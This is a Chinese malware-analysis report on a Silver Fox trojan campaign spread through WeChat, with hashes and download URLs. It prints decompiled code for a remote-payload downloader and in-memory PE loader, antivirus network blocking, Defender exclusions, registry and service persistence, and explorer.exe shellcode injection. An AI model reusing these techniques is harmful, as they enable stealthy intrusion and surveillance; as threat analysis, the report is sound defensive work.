概述
近日 瑞星威胁情报平台
捕获到一起银狐
木马的攻击事件,由于该样本存在较多对抗杀毒软件及EDR的手段,故此针对此次捕获的样本进行分析说明。
银狐
木马主要通过钓鱼网页、即时通讯软件、下载站伪装成常用软件供用户下载等方式进行传播,通过钓鱼、即时通讯软件传播的木马文件名称通常包含发票
、税务
、补贴
、通知
、薪资
等极具诱导性的字眼,以诱导用户打开,木马运行后会联网下载真正的木马病毒,进而攻击者利用远控木马监控用户日常操作,获取隐私信息等。
事件详情
此次捕获的样本在微信群中传播,以极具诱导性的话语人社局关于2025年辖区各企业个人补贴发放人员名单(电脑版)
引诱受害者运行银狐木马Setup-177.exe
。
图:微信钓鱼文件
攻击流程
攻击者通过从微信群诱导受害者运行Setup-177.exe
,Setup-177.exe
将远程服务器中的恶意PE文件手动映射在内存中执行,先通过COM组件
启动mmc文件,接着mmc文件启动html文件,最后html文件利用WMI启动下载好的白加黑进程。该木马采用如此复杂的启动方式,目的是阻断进程链,增加EDR溯源的难度,白加黑进程最终将读取的银狐木马shellcode
注入至explorer.exe
进程中。
样本分析
初始样本分析
字段 | 内容 |
---|---|
原始文件名 | Setup-177.exe |
文件大小 | 1044 KB |
文件MD5 | f498657f7861d03bd65ac3c6f1e987a6 |
文件类型 | EXE |
病毒名 | Downloader.Agent!1.13201 |
主要功能 | 从远程服务器读取恶意PE手动映射在内存中执行 |
手动映射从hxxps://downloder.bj.bcebos.com/177.xml
读取恶意载荷,获取run
导出函数的地址并调用。
public Form1()
{
string address = string.Concat(new object[]
{
'h', 't', 't', 'p', 's', ':', '/', '/', 'd', 'o',
'w', 'n', 'l', 'o', 'd', 'e', 'r', '.', 'b', 'j',
'.', 'b', 'c', 'e', 'b', 'o', 's', '.', 'c', 'o',
'm', '/', '1', '7', '7', '.', 'x', 'm', 'l'
});
Form1.mian(); //判断当前执行进程是否为管理员权限,若不是则以管理员权限启动进程
byte[] peImage = new WebClient().DownloadData(address); //从服务端读取恶意载荷
ManualMapLoader.LoadedModule module = ManualMapLoader.Map(peImage); //通过自写Map函数,手动映射从服务端读取的PE文件
string functionName = 'r' + 'u' + 'n';
IntPtr exportAddress = ManualMapLoader.GetExportAddress(module, functionName); //从手动映射加载的模块中获取"run"导出函数的地址
bool flag = exportAddress == IntPtr.Zero;
if (flag)
{
Environment.Exit(0);
}
Form1.logHelper = (Form1.LogHelper)Marshal.GetDelegateForFunctionPointer(exportAddress, typeof(Form1.LogHelper)); //将"run"导出函数指针转换为实例
Form1.logHelper(); //调用"run"导出函数
Thread.Sleep(1000);
Form1.logHelper();
Thread.Sleep(1000);
Form1.logHelper();
Environment.Exit(0);
}
手动映射加载
的部分代码如下:
NativeMethods.IMAGE_DOS_HEADER* ptr2 = (NativeMethods.IMAGE_DOS_HEADER*)ptr;
if (ptr2->e_magic != 23117) //验证DOS头 0x5A4D -> "MZ"
{
throw new InvalidOperationException("Not a valid MZ header");
}
void* ptr3 = (void*)(ptr + ptr2->e_lfanew);
if (((NativeMethods.IMAGE_NT_HEADERS32*)ptr3)->Signature != 17744U) //验证NT头 0x4550 -> "PE"
{
throw new InvalidOperationException("Not a valid PE header");
}
...
bool flag = ((NativeMethods.IMAGE_NT_HEADERS32*)ptr3)->OptionalHeader.Magic == 523; //判断PE架构 0x20B -> 64位
uint num = (flag ? ((NativeMethods.IMAGE_NT_HEADERS64*)ptr3)->OptionalHeader.SizeOfImage : ((NativeMethods.IMAGE_NT_HEADERS32*)ptr3)->OptionalHeader.SizeOfImage);
uint num2 = (flag ? ((NativeMethods.IMAGE_NT_HEADERS64*)ptr3)->OptionalHeader.SizeOfHeaders : ((NativeMethods.IMAGE_NT_HEADERS32*)ptr3)->OptionalHeader.SizeOfHeaders);
ulong num3 = (flag ? ((NativeMethods.IMAGE_NT_HEADERS64*)ptr3)->OptionalHeader.ImageBase : ((ulong)((NativeMethods.IMAGE_NT_HEADERS32*)ptr3)->OptionalHeader.ImageBase));
...
//映射节数据
for (int i = 0; i < (int)num4; i++)
{
byte* ptr8 = ptr4 + ptr7->VirtualAddress;
uint sizeOfRawData = ptr7->SizeOfRawData;
if (sizeOfRawData > 0U)
{
NativeRuntime.VirtualAlloc((void*)ptr8, sizeOfRawData, 4096U, 4U);
NativeRuntime.memcpy((void*)ptr8, (void*)(ptr + ptr7->PointerToRawData), sizeOfRawData);
}
else
{
uint num5 = (flag ? ((NativeMethods.IMAGE_NT_HEADERS64*)ptr3)->OptionalHeader.SectionAlignment : ((NativeMethods.IMAGE_NT_HEADERS32*)ptr3)->OptionalHeader.SectionAlignment);
if (num5 > 0U)
{
NativeRuntime.VirtualAlloc((void*)ptr8, num5, 4096U, 4U);
NativeRuntime.memset((void*)ptr8, 0, num5);
}
}
ptr7++;
}
...
//修复重定位表
byte* ptr9 = ptr4 + image_DATA_DIRECTORY.VirtualAddress;
byte* ptr10 = ptr9 + image_DATA_DIRECTORY.Size;
while (ptr9 < ptr10)
{
NativeMethods.IMAGE_BASE_RELOCATION* ptr11 = (NativeMethods.IMAGE_BASE_RELOCATION*)ptr9;
uint sizeOfBlock = ptr11->SizeOfBlock;
uint num7 = (sizeOfBlock - (uint)sizeof(NativeMethods.IMAGE_BASE_RELOCATION)) / 2U;
ushort* ptr12 = (ushort*)(ptr9 + sizeof(NativeMethods.IMAGE_BASE_RELOCATION));
for (uint num8 = 0U; num8 < num7; num8 += 1U)
{
ushort num9 = ptr12[(ulong)num8 * 2UL / 2UL];
ushort num10 = (ushort)(num9 >> 12);
ushort num11 = num9 & 4095;
if (num10 != 0)
{
byte* ptr13 = ptr4 + ptr11->VirtualAddress + num11;
if (!flag && num10 == 3)
{
uint* ptr14 = (uint*)ptr13;
*ptr14 += (uint)num6;
}
else if (flag && num10 == 10)
{
ulong* ptr15 = (ulong*)ptr13;
*ptr15 += num6;
}
}
}
ptr9 += sizeOfBlock;
...
//初始化导入表
NativeMethods.IMAGE_DATA_DIRECTORY image_DATA_DIRECTORY2 = (flag ? ((NativeMethods.IMAGE_DATA_DIRECTORY*)(&((NativeMethods.IMAGE_NT_HEADERS64*)ptr6)->OptionalHeader.DataDirectory.FixedElementField)) : ((NativeMethods.IMAGE_DATA_DIRECTORY*)(&((NativeMethods.IMAGE_NT_HEADERS32*)ptr6)->OptionalHeader.DataDirectory.FixedElementField)))[sizeof(NativeMethods.IMAGE_DATA_DIRECTORY)];
...
ptr7 = (flag ? ((NativeMethods.IMAGE_SECTION_HEADER*)ptr6 + 24L / (long)sizeof(NativeMethods.IMAGE_SECTION_HEADER) + (ulong)((NativeMethods.IMAGE_NT_HEADERS64*)ptr6)->FileHeader.SizeOfOptionalHeader / (ulong)sizeof(NativeMethods.IMAGE_SECTION_HEADER)) : ((NativeMethods.IMAGE_SECTION_HEADER*)ptr6 + 24L / (long)sizeof(NativeMethods.IMAGE_SECTION_HEADER) + (ulong)((NativeMethods.IMAGE_NT_HEADERS32*)ptr6)->FileHeader.SizeOfOptionalHeader / (ulong)sizeof(NativeMethods.IMAGE_SECTION_HEADER)));
//设置内存属性
for (int j = 0; j < (int)num4; j++)
{
uint characteristics = ptr7->Characteristics;
bool flag2 = (characteristics & 536870912U) > 0U;
bool flag3 = (characteristics & 1073741824U) > 0U;
bool flag4 = (characteristics & 2147483648U) > 0U;
uint flNewProtect = (flag2 ? (flag3 ? (flag4 ? 64U : 32U) : 16U) : (flag3 ? (flag4 ? 4U : 2U) : 1U));
uint num12;
NativeRuntime.VirtualProtect((void*)(ptr4 + ptr7->VirtualAddress), (ptr7->SizeOfRawData == 0U) ? (flag ? ((NativeMethods.IMAGE_NT_HEADERS64*)ptr3)->OptionalHeader.SectionAlignment : ((NativeMethods.IMAGE_NT_HEADERS32*)ptr3)->OptionalHeader.SectionAlignment) : ptr7->SizeOfRawData, flNewProtect, &num12);
ptr7++;
}
...
//TLS回调执行
if (image_DATA_DIRECTORY3.VirtualAddress != 0U)
{
NativeMethods.IMAGE_TLS_DIRECTORY* ptr21 = (NativeMethods.IMAGE_TLS_DIRECTORY*)(ptr4 + image_DATA_DIRECTORY3.VirtualAddress);
void** ptr22 = (void**)ptr21->AddressOfCallBacks;
if (ptr22 != null)
{
while (*(IntPtr*)ptr22 != (IntPtr)((UIntPtr)0))
{
((NativeMethods.IMAGE_TLS_CALLBACK)Marshal.GetDelegateForFunctionPointer((IntPtr)(*(IntPtr*)ptr22), typeof(NativeMethods.IMAGE_TLS_CALLBACK)))((void*)ptr4, 1U, null);
ptr22 += sizeof(void*) / sizeof(void*);
}
}
}
//DLL入口点调用
uint num13 = (flag ? ((NativeMethods.IMAGE_NT_HEADERS64*)ptr6)->OptionalHeader.AddressOfEntryPoint : ((NativeMethods.IMAGE_NT_HEADERS32*)ptr6)->OptionalHeader.AddressOfEntryPoint);
bool flag5 = ((flag ? ((NativeMethods.IMAGE_NT_HEADERS64*)ptr6)->FileHeader.Characteristics : ((NativeMethods.IMAGE_NT_HEADERS32*)ptr6)->FileHeader.Characteristics) & 8192) > 0;
if (num13 > 0U && flag5 && !((ManualMapLoader.DllEntryProc)Marshal.GetDelegateForFunctionPointer((IntPtr)((void*)(ptr4 + num13)), typeof(ManualMapLoader.DllEntryProc)))((void*)ptr4, 1U, null))
{
throw new InvalidOperationException("DllMain failed");
}
//返回结果
return new ManualMapLoader.LoadedModule
{
CodeBase = ptr4, //加载基址
Headers = ptr6, //PE头指针
IsDll = flag5, //是否DLL文件
Is64Bit = flag //是否64位PE文件
};
177.xml DLL分析
字段 | 内容 |
---|---|
原始文件名 | 177.xml |
文件大小 | 189 KB |
文件MD5 | c9a04270048489f8130aab409c9d90e0 |
文件类型 | DLL |
病毒名 | Downloader.Agent!1.13205 |
主要功能 | 下载并运行白加黑进程 |
动态获取NsiIoctl
函数所需API
v0 = 0;
v8 = 'd\0t';
v9 = 'l\0l';
v10 = 'd\0.';
ModuleName = 'n';
v11 = 'l\0l';
v12 = 0;
result = GetModuleHandleW(&ModuleName); // ntdll.dll
v2 = result;
if ( result )
{
strcpy(ProcName, "NtDeviceIoControlFile");
strcpy(v5, "NtWaitForSingleObject");
strcpy(v6, "RtlNtStatusToDosError");
NtDeviceIoControlFile_qword_180030700 = (__int64)GetProcAddress(result, ProcName);
NtWaitForSingleObject_qword_180030708 = (__int64)GetProcAddress(v2, v5);
ProcAddress = GetProcAddress(v2, v6);
RtlNtStatusToDosError_qword_180030710 = (__int64)ProcAddress;
对杀软进程列表
的对应进程断网
while ( 1 )
{
for ( i = 0i64; i < 7; ++i )
{
v2 = MyCmpProcessName_sub_180002450(lpMultiByteStr[i]); //遍历进程名,与杀软进程列表中对比
v3 = v2;
if ( v2 && *((_DWORD *)v2 + 2) )
{
v4 = 0;
v5 = 0i64;
do
{
MyDisableCloud_sub_180002630(*(_DWORD *)((char *)*v3 + v5)); //若杀软进程列表包含进程名,则对该进程断网
++v4;
v5 += 4i64;
}
while ( v4 < *((_DWORD *)v3 + 2) );
}
}
Sleep(1u);
}
杀软进程列表
如下:
360Tray.exe、360Safe.exe、ZhuDongFangYu、LiveUpdate360.exe、safesvr.exe、360leakfixer.exe、HRUpdate.exe
通过实现NsiIoctl
函数,对指定进程断网,实现底层函数是攻击者为了防止安全厂商将其外层函数SetTcpEntry
挂钩
if ( _InterlockedCompareExchange64(&qword_18002EFC8, -1i64, -1i64) == -1 )
{
FileW = CreateFileW(L"\\\\.\\Nsi", 0, 3u, 0i64, 3u, 0x80u, 0i64);
if ( FileW == (HANDLE)-1i64 )
return GetLastError();
if ( _InterlockedCompareExchange64(&qword_18002EFC8, (signed __int64)FileW, -1i64) != -1 )
CloseHandle(FileW);
}
v8 = _InterlockedCompareExchange64(&qword_18002EFC8, 0i64, 0i64);
if ( v8 == -1 )
return 6;
EventW = CreateEventW(0i64, 0, 0, 0i64);
v10 = EventW;
if ( !EventW )
return GetLastError();
v14 = 0i64;
v12 = *a3;
v13 = 0i64;
v11 = NtDeviceIoControlFile_qword_180030700(v8, EventW, 0i64, 0i64, &v13, 0x120013, a1, 72, a2, v12); //IOCTL_TCP_ADD_SECURITY_FILTER
if ( v11 == 0x103 )
{
v11 = NtWaitForSingleObject_qword_180030708(v10, 0i64, 0i64);
if ( v11 >= 0 )
v11 = v13;
}
CloseHandle(v10);
if ( v11 < 0 )
return RtlNtStatusToDosError_qword_180030710((unsigned int)v11);
*a3 = v14;
return 0;
}
以路径C:\Program Files\SetupInfo[0-9]{6}
创建隐藏文件夹
if ( CreateDirectoryA(v10, 0i64) ) // C:\Program Files\SetupInfo[0-9]{6}
{
strcpy(v38, "\\DBGBufferp.dll");
MyStrCat_sub_180004A20(Src, (__int64)lpPathName, v38);
v11 = (const CHAR *)lpPathName;
if ( v28 >= 0x10 )
v11 = lpPathName[0];
FileAttributesA = GetFileAttributesA(v11);
if ( FileAttributesA != -1 )
{
v13 = (const CHAR *)lpPathName;
if ( v28 >= 0x10 )
v13 = lpPathName[0];
SetFileAttributesA(v13, FileAttributesA | 2);// FILE_ATTRIBUTE_HIDDEN 设置文件夹为隐藏状态
下载并释放文件
MyUrlStrcat_sub_1800014F0(); //拼接下载链接
v14 = (char *)Src;
if ( v30 >= 0x10 )
v14 = (char *)Src[0];
v24 = 15i64;
v23 = 0i64;
LOBYTE(DropperFilePath[0]) = 0;
MyMemmove_sub_1800041B0(DropperFilePath, v14, (_BYTE *)strlen(v14));
*(_QWORD *)&url[24] = 15i64;
*(_QWORD *)&url[16] = 0i64;
url[0] = 0;
MyMemmove_sub_1800041B0(url, MyDllUrl_byte_180030500, (_BYTE *)strlen(MyDllUrl_byte_180030500));
MyDownloaderAndDropperFile_sub_180001160((__int64)url, (__int64)DropperFilePath, 90); //下载并释放文件
下载的XML
和DLL
文件释放名称都是硬编码,只有EXE
文件的名称需要生成,格式为:uninstall_[0-9A-Za-z]{8}.exe
strcpy(v7, "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz");
a1[3] = (void *)15;
a1[2] = 0i64;
*(_BYTE *)a1 = 0;
v2 = (unsigned __int64)a1[2];
v3 = 8i64;
if ( v2 <= 8 && a1[3] != (void *)8 && MyResize_sub_180003F00(a1, 8ui64, 1) )
{
a1[2] = (void *)v2;
if ( (unsigned __int64)a1[3] < 0x10 )
v4 = (__int64 *)a1;
else
v4 = (__int64 *)*a1;
*((_BYTE *)v4 + v2) = 0;
}
do
{
v5 = rand();
MyStrCat_sub_180003D00(a1, (unsigned __int8)v7[v5 % 0x3Eui64]); //循环8次随机添加[0-9A-Za-z]
--v3;
}
while ( v3 );
return a1;
释放路径及对应下载链接如下:
释放路径 | 下载链接 |
---|---|
C:\Program Files\SetupInfo[0-9]{6}\DBGBufferp.dll | hxxps://downloder.bj.bcebos.com/DBGBufferp.dll |
C:\Program Files\SetupInfo[0-9]{6}\adp.xml | hxxps://downloder.bj.bcebos.com/177.mdb |
C:\Program Files\SetupInfo[0-9]{6}\uninstall_[0-9A-Za-z]{8}.exe | hxxps://downloder.bj.bcebos.com/dfsvc.exe |
通过设置注册表允许运行未签名的ActiveX控件
,为后续运行html
文件做准备
v4[0] = _mm_load_si128((const __m128i *)aSoftwareMicros);
v4[1] = _mm_load_si128((const __m128i *)&aSoftwareMicros[16]);
v4[2] = _mm_load_si128((const __m128i *)&aSoftwareMicros[32]);
v4[3] = _mm_load_si128((const __m128i *)&aSoftwareMicros[48]);
v5 = '0\\s';
//Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones
RegCreateKeyExA(HKEY_CURRENT_USER, v4[0].m128i_i8, 0, 0i64, 0, 2u, 0i64, &hKey, 0i64);
*(_DWORD *)Data = 0;
strcpy(ValueName, "1201");
RegSetValueExA(hKey, ValueName, 0, 4u, Data, 4u);
return RegCloseKey(hKey);
释放C:\Windows\Temp\temp_{当前时间戳}.html
,主要功能为通过wmi启动释放的白加黑EXE文件
v3 = fopen(a2, "w");
v4 = v3;
if ( v3 )
{
fprintf(
v3,
"<!DOCTYPE html>\n"
"<html>\n"
"<head>\n"
" <meta charset=\"utf-8\">\n"
" <title>index</title>\n"
" <script type=\"text/javascript\">\n"
" window.onload = function() {\n"
" try {\n"
" var locator = new ActiveXObject(\"WbemScripting.SWbemLocator\");\n"
" var services = locator.ConnectServer(\".\", \"root\\\\cimv2\");\n"
" var process = services.Get(\"Win32_Process\");\n"
" var result = process.Create(\"\\\"%s\\\"\");\n" //C:\Program Files\SetupInfo[0-9]{6}\uninstall_[0-9A-Za-z]{8}.exe
" } catch(e) {\n"
" }\n"
" }\n"
" </script>\n"
"</head>\n"
"<body>\n"
"</body>\n"
"</html>\n",
v6);
LODWORD(v3) = fclose(v4);
}
return (int)v3;
释放C:\Windows\Temp\temp_{当前时间戳}temp_%ld.mmc
,主要功能为启动释放的temp_{当前时间戳}.html
文件
<StringTable>
<GUID>{71E5B33E-1064-11D2-808F-0000F875A9CE}</GUID>
<Strings>
<String ID="1" Refs="1">收藏夹</String>
<String ID="2" Refs="2">1.html</String>
<String ID="3" Refs="1">%$HTMLPATH$%</String> <!-- C:\Windows\Temp\temp_{当前时间戳}temp_%ld.html -->
<String ID="4" Refs="2">控制台根节点</String>
</Strings>
使用COM调用MMC加载temp_{当前时间戳}temp_%ld.mmc
。最终的结果是通过COM启动mmc文件,mmc文件又启动了html文件,html文件通过WMI启动白加黑进程,这样做的原因是阻断进程链,使EDR更加难以溯源
CoInitializeEx(0i64, 2u);
CLSIDFromProgID(L"MMC20.Application.1", &clsid);
IDispatch = 0i64;
CoCreateInstance(&clsid, 0i64, 4u, &riid, (LPVOID *)&IDispatch);// riid {00020400-0000-0000-C000-000000000046}
VariantInit(&pvarg);
pvarg.vt = 8;
pvarg.llVal = (LONGLONG)SysAllocString(v5); // mmc文件路径
v13 = 'd\0a\0o\0L'; //Load
v14 = 0;
v9 = &v13;
(*(void (__fastcall **)(__int64, void *, __int64 **, __int64, int, unsigned int *))(*(_QWORD *)IDispatch //将"Load"映射为DISPID
+ offsetof(IDispatch, GetIDsOfNames)))(
IDispatch,
&unk_180018400,
&v9, // Load
1i64,
1024,
&v8);
v10[1] = 0i64;
v10[2] = 1i64;
v10[0] = (__int64)&pvarg;
LOWORD(v6) = 1; //通过 DISPID 调用"Load"方法,加载temp_{当前时间戳}temp_%ld.mmc
(*(void (__fastcall **)(__int64, _QWORD, void *, __int64, int, __int64 *, _QWORD, _QWORD, _QWORD))(*(_QWORD *)IDispatch + offsetof(IDispatch, Invoke)))(
IDispatch,
v8,
&unk_180018400,
1024i64,
v6,
v10,
0i64,
0i64,
0i64);
VariantClear(&pvarg);
if ( IDispatch )
(*(void (__fastcall **)(__int64))(*(_QWORD *)IDispatch + offsetof(IDispatch, Release)))(IDispatch);
CoUninitialize();
j_j_free(v5);
DBGBufferp.dll 分析
字段 | 内容 |
---|---|
原始文件名 | DBGBufferp.dll |
文件大小 | 26 KB |
文件MD5 | ec1e1c2e7f48a66476f7ed30b6cb0442 |
文件类型 | DLL |
病毒名 | Trojan.Injector!1.13208 |
主要功能 | 将xml内容读取并注入至explorer.exe进程 |
判断进程名是否包含uninstall
,若没有则退出
public static bool IsDFSvcExe()
{
return Path.GetFileName(Process.GetCurrentProcess().MainModule.FileName).Contains("uninstall");
}
通过执行WMI方法,将符合条件的驱动器添加至Windows Defender
的排除路径
public static void addsafe()
{
foreach (string text in Environment.GetLogicalDrives())
{
try
{
DriveInfo driveInfo = new DriveInfo(text);
if (driveInfo.DriveType == DriveType.Fixed || driveInfo.DriveType == DriveType.Removable) //判断驱动器是否为固定驱动器或可移动驱动器
{
helper.AddDefenderExclusion(text);
}
}
catch
{
}
}
}
private static void AddDefenderExclusion(string path)
{
try
{
ManagementScope managementScope = new ManagementScope(Encoding.UTF8.GetString(Convert.FromBase64String(helper.ReverseString
("=IXZk5WZmVGRcN3dvRmbpdFX0Z2bz9mcjlWTcR3bvJHXuwFX")))); //decode -> \\.\root\Microsoft\Windows\Defender
managementScope.Connect();
string @string = Encoding.UTF8.GetString(Convert.FromBase64String(helper.ReverseString("=U2YuVmclZWZyBFcN9FVGNVT"))); //decode -> MSFT_MpPreference
ManagementClass managementClass = new ManagementClass(managementScope, new ManagementPath(@string), null);
ManagementBaseObject methodParameters = managementClass.GetMethodParameters("Add");
string string2 = Encoding.UTF8.GetString(Convert.FromBase64String(helper.ReverseString("==Aa0FGUu9WazVHbjhXR"))); //decode -> ExclusionPath
methodParameters[string2] = new string[] { path };
managementClass.InvokeMethod("Add", methodParameters, null);
}
catch (Exception)
{
}
}
添加计划任务及服务
string tsname = helper.GetTSName(); //tsname = "svc_" + 进程名的MD5
helper.addT(tsname); //创建自启动计划任务
helper.addS(tsname); //创建自启动服务
if (!helper.IsSystem()) //判断是否SYSTEM权限
{ //若不是SYSTEM权限则以管理员权限启动计划任务及服务
helper.startS(tsname);
helper.startT(tsname);
Environment.Exit(0);
}
从资源中提取内容释放在System32
目录下的BEB.exe
文件并添加注册表,这里利用了BootExecute EDR Bypass
开源项目,主要原理是在Windows操作系统完全初始化之前运行BEB.exe
。
try
{ //将名为beb的资源内容写入"C:\Windows\System32\BEB.exe" //decode -> C:\Windows\System32\BEB.exe
File.WriteAllBytes(Encoding.UTF8.GetString(Convert.FromBase64String(mesinip.<InitializeNewDomain>g__ReverseString|1_0("lhXZuIURCxlMz0WZ0NXeTx1c39GZul2VcpzQ"))), Resource1.beb);
}
catch
{
}
try
{
Process process = new Process();
string @string = Encoding.UTF8.GetString(Convert.FromBase64String(mesinip.<InitializeNewDomain>g__ReverseString|1_1("=oQDm9CIiIURCJCIk9CIaN1XJRFTV10XHVkUgQ3LgISZ0V3YlhXRtJ3bmRXYsBlIgY3LgIicldWYuFWTg42bpN3clNFXs9mc052bDxFdlNFbvJHdu92Q05WZyJXdDxVTFR1UZNFXNx0SIJCIkRWY"))); //decode -> add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /v "PlatformExecute" /t REG_MULTI_SZ /d "BEB" /f
process.StartInfo.FileName = "reg.exe";
process.StartInfo.Arguments = @string;
process.StartInfo.CreateNoWindow = true;
process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
process.StartInfo.UseShellExecute = false;
process.StartInfo.Verb = "runas";
process.Start();
}
catch
{
}
遍历当前执行程序所在目录下所有XML
文件,读取XML文件并注入explorer.exe
string[] files = Directory.GetFiles(helper.GetExeDirectoryWithBackslash(), "*.xml", SearchOption.TopDirectoryOnly); //获取当前执行程序所在目录下所有XML文件的完整路径
List<Thread> list = new List<Thread>();
string[] array = files;
for (int i = 0; i < array.Length; i++)
{
string tempFile2 = array[i];
string tempFile = tempFile2;
Thread thread = new Thread(delegate()
{
this.Method(tempFile); //读取shellcode并注入到自己创建的explorer.exe中
});
list.Add(thread);
thread.Start();
}
foreach (Thread thread2 in list)
{
thread2.Join();
}
}
以挂起的方式创建explorer.exe
进程
//exePath = C:\\Windows\\explorer.exe // CREATE_SUSPENDED
if (!dd.CreateProcessAsUser(intPtr, null, exePath, IntPtr.Zero, IntPtr.Zero, false, 4U, IntPtr.Zero, null, ref startupinfo, out result))
{
return result;
}
通过动态获取的函数WriteProcessMemory
将读取的shellcode
写入explorer.exe
进程
public void MS(dd.PROCESS_INFORMATION i)
{
KeyValuePair<IntPtr, IntPtr> keyValuePair = this.MS(i.hProcess, 64U, IntPtr.Zero);
if (keyValuePair.Key == (IntPtr)0 || keyValuePair.Value == (IntPtr)0)
{
throw new SystemException("[x]");
}
this.ra = keyValuePair.Key;
this.rz = keyValuePair.Value;
KeyValuePair<int, IntPtr> keyValuePair2 = this.BP(keyValuePair.Key);
dd.WPM wpm = dd.GetWPM(); //获取函数WriteProcessMemory
dd.RPM rpm = dd.GetRPM(); //获取函数ReadProcessMemory
try
{
IntPtr nSize = (IntPtr)keyValuePair2.Key;
IntPtr value = 0;
if (!wpm(i.hProcess, this.m, keyValuePair2.Value, nSize, out value) || value == IntPtr.Zero) //将读取的shellcode写入explorer.exe
{
throw new SystemException("[x] Failed ! " + dd.GetLastError().ToString());
}
}
finally
{
if (keyValuePair2.Value != IntPtr.Zero)
{
Marshal.FreeHGlobal(keyValuePair2.Value);
}
}
byte[] lpBuffer = new byte[4096];
IntPtr intPtr = 0;
if (!rpm(i.hProcess, this.m, lpBuffer, 1024, out intPtr))
{
throw new SystemException("Failed!");
}
if (dd.ResumeThread(i.hThread) == 4294967295U) //恢复线程,运行注入的shellcode
{
throw new SystemException("[x] Failed !");
}
}
BEB.exe 分析
字段 | 内容 |
---|---|
原始文件名 | BEB.exe |
文件大小 | 3 KB |
文件MD5 | 1a65b67cdf9da962b055e595ee8aa1fb |
文件类型 | EXE |
病毒名 | Trojan.KillAV/x64!1.1330C |
主要功能 | 删除360Tray.exe文件 |
通过NtDeleteFile
删除360Tray.exe
文件。
*(&ObjectAttributes.Length + 1) = 0;
*(&ObjectAttributes.Attributes + 1) = 0;
DestinationString = 0i64;
RtlInitUnicodeString(&DestinationString, L"\\??\\C:\\Program Files (x86)\\360\\360Safe\\safemon\\360Tray.exe");
ObjectAttributes.Length = 48;
ObjectAttributes.ObjectName = &DestinationString;
ObjectAttributes.RootDirectory = 0i64;
*(_OWORD *)&ObjectAttributes.SecurityDescriptor = 0i64;
ObjectAttributes.Attributes = 64;
return NtDeleteFile(&ObjectAttributes);
adp.xml 分析
字段 | 内容 |
---|---|
原始文件名 | adp.xml |
文件大小 | 398 KB |
文件MD5 | da2bc388dda706f882e3ad5944a92475 |
文件类型 | shellcode |
病毒名 | Backdoor.SilverFox!1.12E40 |
主要功能 | 加载内部包裹的银狐木马 |
adp.xml
内容为开源项目donut
生成的shellcode
,主要功能是在内存中加载银狐木马,因其在不同版本使用API
有所差异,可以确定攻击者使用的donut
为v1.0及以上版本
检查要加载的PE文件与当前进程的架构是否兼容
if (nt->FileHeader.Machine != nthost->FileHeader.Machine) {
if ((nt->FileHeader.Machine == IMAGE_FILE_MACHINE_I386 && nthost->FileHeader.Machine == IMAGE_FILE_MACHINE_IA64)
&& !CheckForILOnly(nthost, (ULONG_PTR)host)) {
DPRINT("Host process %08lx and file %08lx are not compatible...cannot load.",
nthost->FileHeader.Machine, nt->FileHeader.Machine);
return;
}
}
将创建的内存区域映射到当前进程的地址空间
if (inst->decoy[0] == 0) {
status = inst->api.NtCreateSection(&hSection, SECTION_ALL_ACCESS, 0, &liSectionSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);
DPRINT("NTSTATUS: %d", status);
if(status != 0) return;
...
status = inst->api.NtMapViewOfSection(hSection, inst->api.GetCurrentProcess(), &cs, 0, 0, 0, &viewSize, ViewUnmap, 0, PAGE_READWRITE);
DPRINT("View size: %lld", viewSize);
复制PE头及个节区
Memcpy(origmod, cs, nt->OptionalHeader.SizeOfHeaders);
...
for(i=0; i<ntnew->FileHeader.NumberOfSections; i++) {
PBYTE dest = (PBYTE)cs + sh[i].VirtualAddress;
PBYTE source = (PBYTE)base + sh[i].PointerToRawData;
重定位表修复
if (has_reloc && ofs != 0) {
DPRINT("Applying Relocations");
rva = ntnew->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;
ibr = RVA2VA(PIMAGE_BASE_RELOCATION, cs, rva);
while ((PBYTE)ibr < ((PBYTE)cs + rva + size) && ibr->SizeOfBlock != 0) {
list = (PIMAGE_RELOC)(ibr + 1);
while ((PBYTE)list != (PBYTE)ibr + ibr->SizeOfBlock) {
if (ibr->VirtualAddress + list->offset < ntnew->OptionalHeader.SizeOfImage) {
PULONG_PTR address = (PULONG_PTR)((PBYTE)cs + ibr->VirtualAddress + list->offset);
if (list->type == IMAGE_REL_BASED_DIR64) {
*address += (ULONG_PTR)ofs;
} else if (list->type == IMAGE_REL_BASED_HIGHLOW) {
*address += (DWORD)(ULONG_PTR)ofs;
} else if (list->type == IMAGE_REL_BASED_HIGH) {
*address += HIWORD(ofs);
} else if (list->type == IMAGE_REL_BASED_LOW) {
*address += LOWORD(ofs);
} else if (list->type != IMAGE_REL_BASED_ABSOLUTE) {
DPRINT("ERROR: Unrecognized Relocation type %08lx.", list->type);
goto pe_cleanup;
}
}
list++;
}
ibr = (PIMAGE_BASE_RELOCATION)list;
}
}
导入表修复
for (;imp->Name!=0; imp++) {
name = RVA2VA(PCHAR, cs, imp->Name);
dll = xGetLibAddress(inst, name);
oft = RVA2VA(PIMAGE_THUNK_DATA, cs, imp->OriginalFirstThunk);
ft = RVA2VA(PIMAGE_THUNK_DATA, cs, imp->FirstThunk);
for (;; oft++, ft++) {
if (oft->u1.AddressOfData == 0) break;
if (IMAGE_SNAP_BY_ORDINAL(oft->u1.Ordinal)) {
ft->u1.Function = (ULONG_PTR)xGetProcAddress(inst, dll, NULL, oft->u1.Ordinal);
} else {
ibn = RVA2VA(PIMAGE_IMPORT_BY_NAME, cs, oft->u1.AddressOfData);
if(mod->thread != 0) {
if(IsExitAPI(inst, ibn->Name)) {
DPRINT("Replacing %s!%s with ntdll!RtlExitUserThread", name, ibn->Name);
ft->u1.Function = (ULONG_PTR)inst->api.RtlExitUserThread;
continue;
}
}
ft->u1.Function = (ULONG_PTR)xGetProcAddress(inst, dll, ibn->Name, 0);
}
根据节区标志动态设置内存保护属性
for (i = 0; i < ntc.FileHeader.NumberOfSections; i++)
{
BOOL isRead = (shcp[i].Characteristics & IMAGE_SCN_MEM_READ) ? TRUE : FALSE;
BOOL isWrite = (shcp[i].Characteristics & IMAGE_SCN_MEM_WRITE) ? TRUE : FALSE;
BOOL isExecute = (shcp[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) ? TRUE : FALSE;
if (isWrite & isExecute)
continue;
else if (isRead & isExecute)
newprot = PAGE_EXECUTE_READ;
